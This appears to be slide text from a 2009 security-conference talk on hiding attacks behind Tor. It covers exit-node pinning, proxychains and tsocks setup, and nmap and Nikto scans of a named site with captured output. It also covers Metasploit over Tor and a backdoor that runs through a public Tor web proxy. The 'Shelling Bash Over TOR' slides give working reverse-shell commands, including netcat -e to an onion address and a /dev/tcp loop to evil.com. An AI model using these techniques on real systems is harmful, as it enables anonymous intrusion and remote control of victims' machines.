 - Unnamed is a common node name, it should be avoided
 - Now create a new file that will be the tor config
 - Add the following lines

ExitNodes list,of,nodes StrictExitNodes 1



- There are also webpages that will provide tor nodes
 - https://torstatus.blutmagie.de/
 - Here it is possible to click on a node, and retrieve a finger print
 - Add a dollar to the front, and get rid of the spaces. Then these can be used as tor exit nodes
 - Unnamed: 46D0 5072 0DE9 D59E 6C22 D970 453B E287 C03F CE9B → \$46D050720DE9D59E6C22D970453BE287C03FCE9B
 - All these nodes may not be active at any given time, so grab a lot
 - Now unnamed will work great, names do not matter



https://torstatus.blutmagie.de/

Tor Network Status -- Router Detail

Router Name:	Hyperman
- 1 March Annual Country of	MONTH OF THE CONTRACT OF THE C
Fingerprint:	46D0 5072 0DE9 D59E 6022 D970 453B E287 C03F CE9B
Contact:	None Given
IP Address:	218.16.120.12
Hostname:	Unavailable
Onion Router Port:	443
Directory Server Port:	9030
Country Code:	CN
Platform / Version:	Tor 0.1.2.19 on Windows Server 2003 Service Pack 2 [server] {enterprise} {terminal services, single user} {terminal services}
Last Descriptor Published (GMT):	2009-05-24 06:03:43
Current Uptime:	29 Day(s), 11 Hour(s), 48 Minute(s), 10 Second(s)
Bandwidth (Max/Burst/Observed - In Bps):	31 45728 / 6291 456 / 848912
Family:	No Info Given



- In Vidalia, you must point at the new config file
 - Stop TOR
 - Open settings
 - Advanced
 - And point to the new config file



What do I have?

- Privoxy
 - HTTP Proxy on port 8118 (by default)
 - Cleans/denies pages that may unintentionally reveal private IP when viewed in browser
 - Commonly configured to talk to tor's socks proxy
- TOR
 - Full socks 5 proxy on port 9050
- Vidalia
 - Gui interface to control tor



It'll fit

- As it turns out, with a bit of creative patchwork, just about any TCP connection can go over tor
 - There are a couple major programs in Linux that can really make TOR useful
 - Proxychains torsocks
 - Tsocks
 - These programs are designed to hook the socket calls of a program, and send them over the proxy
 - When using these, always use IP, DNS can potentially leak
 - Never run as root, root has higher privilege
 - If one fails, try the other



I want to proxy

- Setting up proxychains
 - In /etc/proxychains.conf
 - Comment out random_chain, chain_len, and example proxies
 - Uncomment or add dynamic_chain
 - At the bottom add a socks 5 proxy for TOR
 - socks5 127.0.0.1 9050
 - Depending on path and target, the following values will need to be messed with
 - tcp_read_time_out
 - tcp_connect_time_out
 - The bigger these are the more likely they will get the right port, but they may run into other problems, like slow scans, or more false positive scans



I want to proxy

- Setting up tsocks
 - In /etc/tsocks make sure the following lines are correct

```
- Server = 127.0.0.1
```

TOR host, usually local

```
- server type = 5
```

Socks4/5, usually 5

- server_port = 9050

tor port, default 9050



I want to proxy

- Torsocks
 - Basically set up for you when built from source
 - TOR friendly replacement for tsocks





Lets give'r a go

- Lets try nmap over tor
 - Timeouts become problematic
 - Different exit nodes have different policies, and may stop parts of the scan
 - The results are less than accurate, but provide a good place to start
 - Requires a lot of time, and a lot of tweaking, but better than flying to another country (sometimes)
 - Do not run UDP, name lookup, ping, or any scans requiring root



Lets give'r a go

user@user-laptop:~/tor rc\$ proxychains nmap -n -PN -p 80,22,443 192.1.167.74

Starting Nmap 4.76 (http://nmap.org) at 2009-05-25 09:41 MDT

ProxyChains-2.1 (http://proxychains.sf.net)

dynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443

dynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443

. . .

user@user-laptop:~/tor_rc\$ proxychains nmap -n -A -PN -p 80,22 192.1.167.74

Starting Nmap 4.76 (http://nmap.org) at 2009-05-25 09:42 MDT

ProxyChains-2.1 (http://proxychains.sf.net)

dynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK

dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK

dynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK

dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK

...

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)


80/tcp open http Apache httpd

Service Info: OS: Linux





Lets give'r a go





Lets get a bit deeper

- Here will run Nikto over tor.
 - Nikto has a proxy option
 - This is a full HTTP proxy, not socks
 - This can be used with Privoxy
 - Privoxy will end up messing with results, making it less than useful
 - Instead running Nikto over tsocks works much better



Lets get a bit deeper

user@user-laptop:~/\$ proxychains nikto -host blog.attackresearch.com 192.1.167.74 - Nikto v2.03/2.04 ProxyChains-2.1 (http://proxychains.sf.net) dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + Target IP: 192.1.167.74 + Target Hostname: blog.attackresearch.com + Target Port: + Start Time: 2009-05-26 10:12:46 + Server: Apache dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK - /robots.txt - contains 40 'disallow' entries which should be manually viewed. (GET) dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + OSVDB-0: Retrieved X-Powered-By header: PHP/5.2.4-2ubuntu5.4 dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + OSVDB-0: ETag header found on server, inode: 131801, size: 1820, mtime: 0x462ed49df8840 + 3577 items checked: 32 item(s) reported on remote host + End Time: 2009-05-26 15:07:00 (17654 seconds) + 1 host(s) tested Test Options: -host blog.attackresearch.com 192.1.167.74



What the heck, I'll eat the whole cow

- Lets say there is a VPN at a remote site. It is a TCP based VPN like PPTP
 - With some creative combinations of port redirection, and tsock/proxychains we can VPN over TOR
 - This will not be very reliable
 - Timeout can kill the connection
 - Using tcpxd on one host we can setup
 - tsocks tcpxd 1723 ip.of.target 1723
 - Now have a second machine PPTP into the first



Metasploit and TOR

- A couple of possibilities
 - Use Torsocks
 - Easier to do it in metssploit
 - setg Proxies SOCKS4:localhost:<torport>
 - Both methods are restricted to Connect Shells
 - Both are restricted to TCP
 - Always try and use IP to avoid unintended leakage



Demo





Can they call me anonymously?

- Sure, TOR uses .onion domains in order to talk to anonymous servers on the TOR network
 - Normally requires TOR on both sides
 - Can we shell to a .onion?
 - Sure, through tsocks, privoxy, or even wget
 - Can you tell what country a .onion is in?
 - Currently no, there have been problems found in TOR in the past, but they are fairly quick to patch



Shelling Bash Over TOR

- TOR is installed on target with torsocks
 - Simplest case, a netcat listener, and using built in bash commands
 - Setting up the server
 - In the torrc file, add the following lines
 - HiddenServiceDir /my/service/dir/
 - HiddenServicePort <portfortor> 127.0.0.1:<listenport>
 - Now star netcat on <listenport>
 - nc -l -p <listenport>



Shelling Bash Over TOR

- Now on the target
 - With Netcat
 - torsocks nc -e /bin/bash <hostname.onion> <torport>
 - <hostname.onion> is in the servers service dir in a file called hostname
 - Without Netcat
 - torsocks /bin/bash
 - exec 5<>/dev/tcp/evil.com/8080
 - cat <&5 | while read line; do \$line 2>&5 >&5; done



Do I have to install TOR on the target?

- Turns out no.
 - There are web proxy's that give access into the TOR network
 - www.tor-proxy.net Is one of many sites that lets a user bounce through them and then into TOR.
 - Keep in mind, unfortunately they see all traffic, they won't know where the server is though
 - http://tor-proxy.net/proxy/tor/browse.php?u=http%3A%2F %2Fslashdot.org%2F&b=14
 - We have created Proof-of-Concept shells using this method
 - Basically a modified HTTP/HTTPS Shell



The tor-proxy.net Backdoor

Benefits

- No need for to on the client
- Can't tell who the server belongs to
- Can do https

Downfalls

- tor-proxy.net can read all the traffic
- Asynchronous, it can take a bit before command output
- Not interactive



DEMO





To Do (working on it@)

- Metasploit module that automatically generates the web apps / web server
 - Autogen's the applet & meterpreter
 - Integrate with PDF infector module
 - Integrate post-exploit automation scripts
 - Integrate with browser autopwn
- 2nd stage HTTP Backdoor
- More integration with TOR



PhishTunnel

- Demo everything over TOR
 - TOR backdoor communications
 - Metasploit over TOR
 - Metaphish concepts over TOR





Thanks!

- #AR
- Rezen
- Cg
- Snowchyld
- Ed Skoudis
- !lso
- Dragorn
- Knicklighter



Check out autopwn, egypt & Efrain Torres talks for

awesome web p0wnage concepts and tools

HD Moore Dean De Beers Delchi egypt tebo carnal0wnage Anyone we forgot famousis